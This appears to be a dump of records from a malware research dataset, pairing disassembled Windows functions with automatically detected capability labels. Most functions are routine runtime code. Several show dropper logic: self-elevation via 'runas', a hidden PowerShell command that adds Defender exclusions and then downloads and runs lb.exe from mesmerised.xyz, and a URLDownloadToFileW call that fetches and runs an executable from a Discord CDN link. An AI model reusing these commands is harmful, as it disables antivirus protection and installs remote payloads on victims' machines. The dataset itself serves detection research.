joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47f240
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
movd xmm0, dword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
movdqu xmm1, xmmword [rsi]
movdqu xmm2, xmmword [rsi + 0x10]
movdqu xmm3, xmmword [rsi + 0x20]
movdqu xmm4, xmmword [rsi + 0x30]
pxor xmm1, xmm0
add rsi, 0x40
sub rcx, 0x40
cmp rcx, 0x40
jb 0x47f315
movdqa xmm0, xmmword [0x005123d0]
movdqa xmm5, xmm1
movdqa xmm6, xmm2
movdqa xmm7, xmm3
movdqa xmm8, xmm4
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm2, xmm0, 0
pclmulqdq xmm3, xmm0, 0
pclmulqdq xmm4, xmm0, 0
movdqu xmm11, xmmword [rsi]
movdqu xmm12, xmmword [rsi + 0x10]
movdqu xmm13, xmmword [rsi + 0x20]
movdqu xmm14, xmmword [rsi + 0x30]
pclmulqdq xmm5, xmm0, 0x11
pclmulqdq xmm6, xmm0, 0x11
pclmulqdq xmm7, xmm0, 0x11
pclmulqdq xmm8, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm2, xmm6
pxor xmm3, xmm7
pxor xmm4, xmm8
pxor xmm1, xmm11
pxor xmm2, xmm12
pxor xmm3, xmm13
pxor xmm4, xmm14
add rdi, 0x40
add rsi, 0x40
sub rcx, 0x40
cmp rcx, 0x40
jge 0x47f281
movdqa xmm0, xmmword [0x005123e0]
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm2
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm3
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm4
cmp rcx, 0x10
jb 0x47f397
movdqu xmm10, xmmword [rsi]
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm10
sub rcx, 0x10
add rsi, 0x10
cmp rcx, 0x10
jge 0x47f36b
pcmpeqb xmm3, xmm3
pclmulqdq xmm0, xmm1, 1
psrldq xmm1, 8
pxor xmm1, xmm0
movdqa xmm2, xmm1
movq xmm0, qword [0x00512240]
psrlq xmm3, 0x20
psrldq xmm2, 4
pand xmm1, xmm3
pclmulqdq xmm1, xmm0, 0
pxor xmm1, xmm2
movdqa xmm0, xmmword [0x005123f0]
movdqa xmm2, xmm1
pand xmm1, xmm3
pclmulqdq xmm1, xmm0, 0x10
pand xmm1, xmm3
pclmulqdq xmm1, xmm0, 0
pxor xmm1, xmm2
pextrd eax, xmm1, 1
mov dword [rsp + 0x28], eax
ret

Function at 0x4809e0
Capabilities:
Hash data using fnv

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x48111f
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
movabs rcx, 0xcbf29ce484222325
jmp 0x480a0d
lea rax, [rdx + 0x10]
dec rbx
mov rcx, rsi
test rbx, rbx
jle 0x480c91
mov rdx, rax
mov rsi, qword [rax]
nop dword [rax]
test rsi, rsi
je 0x480cbd
mov edi, dword [rsi + 0x10]
shr edi, 1
mov r8, qword [rax + 8]
and edi, 0x3f
lea rax, [0x00514620]
jmp qword [rax + rdi*8]
mov rax, rcx
add rsp, 0x10
pop rbp
ret
lea rax, [0x004c9bc0]
lea rbx, [0x00512a10]
call fcn.00436ba0
inc rax
cmp rax, r8
jge 0x480ce2
mov r9, qword [rsi + rax*8]
xor r10d, r10d
nop
jmp 0x480d17
lea rdi, [0x004c9c40]
mov rsi, rcx
movabs rcx, 0x100000001b3
jmp 0x480a03
movzx r11d, r9b
xor rcx, r11
inc r10
shr r9, 8
movabs r11, 0x100000001b3
imul rcx, r11
cmp r10, 8
jl 0x480cfb
jmp 0x480cd0
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.00465000
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp fcn.004809e0
Function at 0x4812c0
Capabilities:
Hash data using fnv

Disassembly:
test byte [rax], al
mov rcx, rbx
and ebx, 0x7f
shl rbx, 5
lea rdx, [rax + rbx]
xor eax, eax
jmp 0x4812d7
inc rax
cmp rax, 4
jge 0x4812ef
lea rbx, [rdx + rax*8]
mov rbx, qword [rbx]
cmp rbx, rcx
jne 0x4812d4
mov eax, 1
ret
xor eax, eax
movabs rbx, 0xcbf29ce484222325
jmp 0x481300
inc rax
cmp rax, 4
jge 0x48130e
mov rsi, qword [rdx + rax*8]
xor edi, edi
jmp 0x481337
and ebx, 3
lea rdx, [rdx + rbx*8]
xchg qword [rdx], rcx
xor eax, eax
ret
movzx r8d, sil
xor rbx, r8
inc rdi
shr rsi, 8
movabs r8, 0x100000001b3
imul rbx, r8
cmp rdi, 8
jl 0x48131b
jmp 0x4812fd

Function at 0x4850a0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x48516a
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call fcn.00403820
xorps xmm15, xmm15
mov r14, qword [0x006461f8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x48514f
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x004c9cc0]
xor ebx, ebx
mov rcx, rdx
call fcn.0044c1a0
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call fcn.00485900
inc rbx
cmp rcx, rbx
jae 0x48513e
mov edi, 1
lea rsi, [0x004c9cc0]
call fcn.0044c280
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x00512ae8]
lea rsi, [0x00512258]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00465000
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.004850a0
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140005580]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140005590]
mov dword [rax], 1
mov rax, qword [0x1400055a0]
mov dword [rax], 1
mov rax, qword [0x140005520]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140005570]
mov dword [0x14000800c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140005650]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140005630]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x1400054b0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001450
Capabilities:
Get token membership

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov dword [rbp - 4], 0
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x16], 0
mov word [rbp - 0x12], 0x500
lea rax, [rbp - 0x16]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x50], rdx
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
call rax
test eax, eax
sete al
test al, al
je 0x1400014de
mov eax, 0
jmp 0x140001533
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 4]
mov r8, rdx
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
call rax
test eax, eax
sete al
test al, al
je 0x14000150a
mov dword [rbp - 4], 0
mov rax, qword [rbp - 0x10]
test rax, rax
je 0x14000152b
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_FreeSid]
call rax
mov qword [rbp - 0x10], 0
mov eax, dword [rbp - 4]
test eax, eax
setne al
sub rsp, 0xffffffffffffff80
pop rbp
ret
Function at 0x140001539
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x2a8
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x10]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call rax
test eax, eax
setne al
test al, al
je 0x1400015ce
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x60], 0x70
lea rax, str.runas
mov qword [rbp - 0x50], rax
lea rax, [rbp + 0x10]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x58], 0
mov dword [rbp - 0x30], 0
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExW]
call rax
test eax, eax
setne al
test al, al
je 0x1400015ce
mov ecx, 0
call sym.exit
nop
add rsp, 0x2a8
pop rdi
pop rbp
ret

Function at 0x1400015d9
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
lea rax, [rbp - 0x11]
mov qword [rbp - 0x10], rax
nop
nop
lea rdx, [rbp - 0x11]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.powershell__WindowStyle_Hidden__command__Add_MpPreference__ExclusionExtension_.bat__.lnk__.exe__Invoke_WebRequest__Uri_https:__mesmerised.xyz_lb.exe__OutFile__env:TEMPlb.exe__Start_Process__env:TEMPlb.exe_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x11]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
call sym.system
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x14000165f
lea rax, [0x1400050e8]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x1400054d0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x14000168a
lea rax, [0x1400050eb]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x1400054d0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x1400016ce
add rsp, 0x68
pop rbx
pop rbp
ret
Function at 0x1400016d5
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
jmp 0x14000170b
call sym.RunAsAdmin__
call sym.IsRunAsAdmin__
xor eax, 1
test al, al
jne 0x140001706
call sym.AddExclusionsAndDownload__
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x140001a70
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001ae0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140008094]
test esi, esi
mov rbx, rcx
jle 0x140001c10
mov rax, qword [0x140008098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001b2b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001bb5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001b10
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x140001c32
mov rax, qword [0x140008098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140008098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001c17
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001bae
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001bc0
add dword [0x140008094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140008098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001bae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001b38
mov rax, qword [0x140008098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x1400021a0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x1400021fc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400021f3
test rsi, rsi
je 0x1400021f3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400021d8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002410
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop

Function at 0x140002430
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002448
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002450
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002460
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x1400024ad
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x1400024a4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400024af
add rax, 0x28
cmp rax, r9
jne 0x140002490
xor eax, eax
ret

Function at 0x1400024b0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002540
mov rdx, qword [0x140005520]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000252e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000252e
cmp word [rax + 0x18], 0x20b
jne 0x14000252e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002540
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002519
add rbx, 0x28
cmp rbx, rdi
je 0x140002540
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002510
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
Function at 0x140002550
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005520]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002570
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002578
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002570
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400025cd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x1400025c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002570
add rax, 0x28
cmp rax, r9
jne 0x1400025b0
xor eax, eax
ret

Function at 0x1400025d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005520]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400025ef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400025f8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400025ef
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002610
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140005520]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002630
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002638
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002630
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x140002680
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002677
test rcx, rcx
je 0x140002630
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002668
xor eax, eax
ret

Function at 0x140002690
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005520]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400026af
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400026b8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400026d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005520]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400026f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400026f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400026f0
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x1400026f0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140002744
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002750
add rdx, 0x28
cmp r9, rdx
jne 0x140002730
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret
Function at 0x140002760
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140005520]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002782
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002790
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002782
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002782
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x140002782
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x1400027e5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400027f8
add rdx, 0x28
cmp rdx, r10
jne 0x1400027d0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002807
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002817
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400027ee
test ecx, ecx
jg 0x140002800
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400017c0
Capabilities:
Create process on windows
Download url
Execute command
Receive data
Terminate process

Disassembly:
sub rsp, 0x38
lea rcx, [0x14005e394]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:WindowsIMEen_US123.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1256300246703538309_1266670073280467018_123.exe_ex66a74f6fis66a5fdefhm76d8842b03e161e0bcb66ad312458b8553ff00260fae37cce41a78164b9ae881
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
test eax, eax
jne 0x140001891
lea rdx, [0x14005e398]
call fcn.140002290
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [0x14005e3a4]
call fcn.140002290
mov rcx, rax
lea rdx, [0x140002470]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, str.C:WindowsIMEen_US123.exe
mov qword [rsp + 0x20], 0
lea rdx, [0x14005e3a8]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
cmp eax, 0x20
jg 0x14000187c
lea rdx, str.Failed_to_open_file:
call fcn.140002290
lea rdx, str.C:WindowsIMEen_US123.exe
jmp 0x1400018d1
lea rdx, str.Opened_file_successfully:
call fcn.140002290
lea rdx, str.C:WindowsIMEen_US123.exe
jmp 0x1400018d1
lea rdx, str.__ne_1m_Failed_to_download_from
call fcn.140002290
mov rcx, rax
lea rdx, str.https:__cdn.discordapp.com_attachments_1256300246703538309_1266670073280467018_123.exe_ex66a74f6fis66a5fdefhm76d8842b03e161e0bcb66ad312458b8553ff00260fae37cce41a78164b9ae881
call fcn.140002290
mov rcx, rax
lea rdx, str._to
call fcn.140002290
mov rcx, rax
lea rdx, str.C:WindowsIMEen_US123.exe
call fcn.140002290
lea rdx, [0x14005e420]
mov rcx, rax
call fcn.140002290
lea rdx, [0x140002470]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [0x14005e394]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140002710
Capabilities:
Set console window title

Disassembly:
sub rsp, 0x28
lea rcx, [0x140105298]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
lea rcx, [0x140270170]
call fcn.1400311a0
call fcn.14008bde0
mov eax, dword [rax + 0x70]
add rsp, 0x28
ret
Function at 0x140025e30
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x140025e64
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x140025e50
ret